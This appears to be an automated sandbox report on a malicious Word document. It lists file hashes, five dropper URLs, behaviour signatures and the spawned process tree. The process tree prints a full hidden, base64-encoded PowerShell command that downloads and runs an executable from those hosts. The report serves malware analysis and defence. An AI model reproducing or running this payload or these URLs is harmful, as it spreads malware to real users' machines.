Analysis

  • max time kernel
    133s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 13:50

General

  • Target

    320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372.doc

  • Size

    197KB

  • MD5

    4d1de09a8434e90f3be81bc687406ca5

  • SHA1

    bdb7ba53e7382378938f316f0b8df56147e9bf84

  • SHA256

    320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372

  • SHA512

    715e7f65f293e1cfbb52611e017cb1d6d497c68c56af2bc84f348c557d910a21898258aba9269a565002912c81301611d92e3091ef99d6f0e35a2f82ca5d5a25

  • SSDEEP

    3072:a22y/GdynktGDWLS0HZWD5w8K7Nk98D7IBU4awiVQdwHch:a22k43tGiL3HJk98D7b4Z2Qq4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://salvacodina.com/wp-admin/qWYFrK/

exe.dropper

http://serviska.com/show_cat3/lKzElbNb/

exe.dropper

https://bar-ola.com/wp-admin/KIdh35kENT/

exe.dropper

http://rinani.com/wp-includes/FFkV/

exe.dropper

https://wowmotions.com/wp-admin/A8LwzwQ/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\320684ec5ea1c4b75a57dd6430a55e3482db826ecbca80b18e08d3829f11a372.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4024
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:116
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABFAGMAawBvAGwAYgB2AHgAegBlAGoAPQAnAFIAcQBtAG4AYgBoAGMAegAnADsAJABaAHkAZwBzAHAAcQBjAG4AZABrAGgAIAA9ACAAJwAzADMAMgAnADsAJABTAHMAcwBuAGcAZwBvAGwAdQA9ACcARgBrAHkAegB5AGgAcwBhAHQAdwB3ACcAOwAkAFkAcwBmAGMAdABpAHUAbgBsAHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAeQBnAHMAcABxAGMAbgBkAGsAaAArACcALgBlAHgAZQAnADsAJABNAGEAcQBpAGEAaQByAHcAbABlAHYAdABpAD0AJwBTAHEAeQBhAHAAZABrAGMAcABiAGoAdQAnADsAJABTAGMAYQB1AGUAeABvAHEAaABtAHIAeAA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBjAGwAaQBFAG4AdAA7ACQASwBrAHIAagBkAGMAYgBkAGwAeQBoAGEAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbAB2AGEAYwBvAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHEAVwBZAEYAcgBLAC8AKgBoAHQAdABwADoALwAvAHMAZQByAHYAaQBzAGsAYQAuAGMAbwBtAC8AcwBoAG8AdwBfAGMAYQB0ADMALwBsAEsAegBFAGwAYgBOAGIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAcgAtAG8AbABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBLAEkAZABoADMANQBrAEUATgBUAC8AKgBoAHQAdABwADoALwAvAHIAaQBuAGEAbgBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBGAEYAawBWAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBvAHcAbQBvAHQAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQQA4AEwAdwB6AHcAUQAvACcALgAiAHMAUABgAGwAaQB0ACIAKAAnACoAJwApADsAJABYAGsAdwBkAHQAYgBnAHEAZgA9ACcAVQBzAHUAZwBjAGcAcABhAGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBxAGgAcABtAGsAaABqAHAAIABpAG4AIAAkAEsAawByAGoAZABjAGIAZABsAHkAaABhACkAewB0AHIAeQB7ACQAUwBjAGEAdQBlAHgAbwBxAGgAbQByAHgALgAiAGQAYABPAFcAbgBgAGwAbwBBAGAAZABGAGkAbABlACIAKAAkAEYAcQBoAHAAbQBrAGgAagBwACwAIAAkAFkAcwBmAGMAdABpAHUAbgBsAHoAKQA7ACQAVwB6AHYAYgB4AGEAZwBxAG8AagBvAG4AdQA9ACcATwBmAGwAYwBrAG4AbwB1AGwAcQB3ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBzAGYAYwB0AGkAdQBuAGwAegApAC4AIgBsAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMAMAAwADYAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABZAHMAZgBjAHQAaQB1AG4AbAB6ACkAOwAkAFUAZwBhAHUAbQBhAGQAeQBhAGkAcAB6AD0AJwBLAGUAZwBtAGMAcgBhAHUAcABmAHMAagBoACcAOwBiAHIAZQBhAGsAOwAkAEsAYgBuAGwAeAB1AGQAbgB0AGgAPQAnAFEAZgBkAG0AbAB0AHEAawBoAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABzAHoAcQB2AGMAYwBzAHkAbgA9ACcAQgBvAHcAZABnAHEAbQBlAGMAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2356

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B20EED96.wmf

      Filesize

      444B

      MD5

      52ec6fdbb9b6a64d5d82e0b25e142e8b

      SHA1

      3e6d400c1cec6e463f41302e742c12caab41d963

      SHA256

      bb48771b20b1530dc3f9c309899a714d38c5095c3c1e47fd7e35db93e2432d37

      SHA512

      729e95ddf90849fccc9647eec347cd6e0ac0fb78819265d55ee2262e1a17a46a62e70fef09bc2c58aab4cadc0647d8fa890fce411f3ed6b6d1cca7b882ef7a45

    • C:\Users\Admin\AppData\Local\Temp\TCDCF8.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0wiaj54.gil.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2356-58-0x0000026D44B10000-0x0000026D44B32000-memory.dmp

      Filesize

      136KB

    • memory/4024-14-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-8-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-6-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-10-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-12-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-11-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-13-0x00007FFE85EA0000-0x00007FFE85EB0000-memory.dmp

      Filesize

      64KB

    • memory/4024-9-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-16-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-15-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-0-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

      Filesize

      64KB

    • memory/4024-1-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

      Filesize

      64KB

    • memory/4024-7-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-20-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-21-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-22-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-19-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-18-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-17-0x00007FFE85EA0000-0x00007FFE85EB0000-memory.dmp

      Filesize

      64KB

    • memory/4024-5-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

      Filesize

      64KB

    • memory/4024-4-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

      Filesize

      64KB

    • memory/4024-2-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

      Filesize

      64KB

    • memory/4024-79-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

      Filesize

      2.0MB

    • memory/4024-3-0x00007FFEC844D000-0x00007FFEC844E000-memory.dmp

      Filesize

      4KB